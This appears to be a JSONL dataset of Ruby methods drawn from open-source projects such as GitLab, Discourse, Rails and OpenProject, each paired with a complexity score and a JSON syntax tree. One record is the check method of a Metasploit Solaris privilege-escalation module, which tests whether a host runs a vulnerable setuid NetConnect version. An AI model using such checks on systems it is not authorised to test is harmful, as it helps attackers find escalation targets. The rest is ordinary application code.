{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240619141712_create_virtual_registries_packages_maven_registries.rb","start_line":10,"raw_source":"def up\n    with_lock_retries do\n      create_table TABLE_NAME, if_not_exists: true do |t|\n        t.references :group,\n          null: false,\n          index: { unique: true, name: INDEX_NAME },\n          foreign_key: { to_table: :namespaces, on_delete: :cascade }\n        t.timestamps_with_timezone null: false\n        t.integer :cache_validity_hours, limit: 2, null: false, default: 1\n      end\n    end\n\n    constraint = check_constraint_name(TABLE_NAME.to_s, 'cache_validity_hours', 'zero_or_positive')\n    add_check_constraint(TABLE_NAME, 'cache_validity_hours >= 0', constraint)\n  end","complexity_score":13.05,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"namespaces\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"cache_validity_hours\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"constraint\",{\"type\":\"send\",\"children\":[null,\"check_constraint_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},\"to_s\"]},{\"type\":\"str\",\"children\":[\"cache_validity_hours\"]},{\"type\":\"str\",\"children\":[\"zero_or_positive\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"cache_validity_hours >= 0\"]},{\"type\":\"lvar\",\"children\":[\"constraint\"]}]}]}]}","id":"e173850c-a0ee-415f-be26-4b4b7dd20e80"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/app/controllers/chat_controller.rb","start_line":23,"raw_source":"def test\n    begin\n      channel_id = params[:channel_id].to_i\n      topic_id = params[:topic_id].to_i\n\n      channel = DiscourseChatIntegration::Channel.find(channel_id)\n      provider = DiscourseChatIntegration::Provider.get_by_name(channel.provider)\n\n      raise Discourse::NotFound if !DiscourseChatIntegration::Provider.is_enabled(provider)\n\n      post = Topic.find(topic_id.to_i).posts.first\n\n      provider.trigger_notification(post, channel, nil)\n\n      render json: success_json\n    rescue Discourse::InvalidParameters, ActiveRecord::RecordNotFound => e\n      render json: { errors: [e.message] }, status: :unprocessable_entity\n    rescue DiscourseChatIntegration::ProviderError => e\n      Rails.logger.error(\"Test provider failed #{e.info}\")\n      if e.info.key?(:error_key) && !e.info[:error_key].nil?\n        render json: { error_key: e.info[:error_key] }, status: :unprocessable_entity\n      else\n        render json: { errors: [e.message] }, status: :unprocessable_entity\n      end\n    end\n  end","complexity_score":60.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel_id\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Channel\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"get_by_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"provider\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"Provider\"]},\"is_enabled\",{\"type\":\"lvar\",\"children\":[\"provider\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_id\"]},\"to_i\"]}]},\"posts\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]},\"trigger_notification\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseChatIntegration\"]},\"ProviderError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Test provider failed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"info\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"info\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"error_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_key\"]}]},\"nil?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_key\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]},null]}]}]}","id":"e09231bc-65a9-4260-80e2-29c3bc6ce363"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/solaris/escalate/srsexec_readline.rb","start_line":54,"raw_source":"def check\n    if is_root?\n      fail_with(Failure::BadConfig, 'Session already has root privileges')\n    end\n\n    # This ls is based on the guidance in the sun alerts article\n    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'\n    unin =~ /UninstallNetConnect\\.([\\d.]{11})\\.sh/\n    unless ::Regexp.last_match(1)\n      print_error('NetConnect uninstall not found, either not installed or too new')\n      return false\n    end\n\n    version = Rex::Version.new(::Regexp.last_match(1).split('.').map(&:to_i).join('.'))\n    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))\n      print_error \"#{version} is not vulnerable\"\n      return false\n    end\n    print_good(\"#{version} is vulnerable\")\n\n    unless setuid?(suid_bin_path)\n      vprint_error(\"#{suid_bin_path} is not setuid, it must have been manually patched\")\n      return false\n    end\n\n    true\n  end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Session already has root privileges\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"unin\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unin\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"UninstallNetConnect\\\\.([\\\\d.]{11})\\\\.sh\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"NetConnect uninstall not found, either not installed or too new\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.2.3\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.2.4\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is not vulnerable\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" is vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setuid?\",{\"type\":\"send\",\"children\":[null,\"suid_bin_path\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suid_bin_path\"]}]},{\"type\":\"str\",\"children\":[\" is not setuid, it must have been manually patched\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6f91d54a-8d55-493f-b8f5-94b1025009db"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/bind_param.rb","start_line":27,"raw_source":"def value_before_type_cast\n        if value.respond_to?(:value_before_type_cast)\n          value.value_before_type_cast\n        else\n          value\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"value_before_type_cast\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"value_before_type_cast\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"value_before_type_cast\"]},{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"9c676875-dc88-4769-8e15-8c780936bd5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-grape-openapi/lib/gitlab-grape-openapi.rb","start_line":34,"raw_source":"def configure\n        yield(configuration)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]}]}]}","id":"ff40efd7-debb-46e6-bcc1-2ca87245d4ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/onboarding/whats_new/read_status_service.rb","start_line":28,"raw_source":"def most_recent_version_read_articles\n        Gitlab::Redis::SharedState.with do |redis|\n          redis.smembers(redis_set_key).map(&:to_i)\n        end\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"most_recent_version_read_articles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"smembers\",{\"type\":\"send\",\"children\":[null,\"redis_set_key\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_i\"]}]}]}]}]}","id":"b8af65a3-caba-40d1-aead-f86852fa6a46"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/colors/hex_color.rb","start_line":101,"raw_source":"def darken(amount)\n      blend 0, 1 - amount\n    end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"darken\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"amount\"]}]},{\"type\":\"send\",\"children\":[null,\"blend\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"-\",{\"type\":\"lvar\",\"children\":[\"amount\"]}]}]}]}","id":"fc5cead8-de32-445e-b84c-52ebfab5a5c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":133,"raw_source":"def link_to_data_loss_doc\n    link_to _('data loss'), help_page_path('user/project/repository/_index.md', anchor: 'repository-path-changes'),\n      target: '_blank', rel: 'noopener'\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"link_to_data_loss_doc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"data loss\"]}]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"user/project/repository/_index.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"repository-path-changes\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"_blank\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"noopener\"]}]}]}]}]}","id":"8d72dcd3-b41c-4637-8816-7018643d4aa6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/dashboard/snippet/edit.rb","start_line":51,"raw_source":"def fill_file_content(content, file_number = nil)\n            if file_number\n              within_element_by_index('file-holder-container', file_number - 1) do\n                text_area.set(content)\n              end\n            else\n              text_area.set(content)\n            end\n          end","complexity_score":10.88,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_file_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]},{\"type\":\"optarg\",\"children\":[\"file_number\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_number\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element_by_index\",{\"type\":\"str\",\"children\":[\"file-holder-container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_number\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_area\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_area\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"774b041a-df77-415a-a428-f3182aeedf7c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/interpolation/functions_stack.rb","start_line":31,"raw_source":"def valid?\n            errors.none?\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"none?\"]}]}","id":"27ea9172-b5f7-4bd1-b801-49b51f8cec38"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20191203171558_add_missing_foreign_keys_notifications_subs_page_views_users_roles.rb","start_line":2,"raw_source":"def change\n    add_foreign_key :notification_subscriptions, :users, on_delete: :cascade\n    add_foreign_key :page_views, :articles, on_delete: :cascade\n    add_foreign_key :users_roles, :users, on_delete: :cascade\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"notification_subscriptions\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"page_views\"]},{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"users_roles\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"8378c933-7d44-4d48-b7fe-9a0186e3e1f2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_generator_test.rb","start_line":272,"raw_source":"def test_generation_does_not_run_bundle_install\n    generator([destination_root])\n    run_generator_instance\n\n    assert_empty @bundle_commands\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generation_does_not_run_bundle_install\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"ivar\",\"children\":[\"@bundle_commands\"]}]}]}]}","id":"070ad6a9-fa1e-405d-9951-63fe780d9b90"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/members.rb","start_line":133,"raw_source":"def has_added_user?(name, group: false)\n      has_text?(\"Added #{name} to the project\") && has_user?(name, group:)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_added_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"group\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" to the project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_user?\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}]}]}","id":"4b9e7e0c-fdd0-415a-bd23-ed2beb2d6d07"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/authentication_strategies/oauth_user_token.rb","start_line":35,"raw_source":"def initialize(user)\n          super()\n          @user = user\n          @retried = false\n          @error_data = Results::Error.new(source: self.class, code: :error)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@retried\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"Error\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}","id":"16db240d-b6b7-403d-abfa-93019b402c87"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/channels_controller.rb","start_line":81,"raw_source":"def show\n    render_serialized(\n      channel_from_params,\n      Chat::ChannelSerializer,\n      membership: channel_from_params.membership_for(current_user),\n      root: \"channel\",\n      include_extra_info: true,\n    )\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"send\",\"children\":[null,\"channel_from_params\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ChannelSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"membership\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_from_params\"]},\"membership_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_extra_info\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"c9d00fe6-ff9b-4ed5-9537-1fbc22c0f681"}
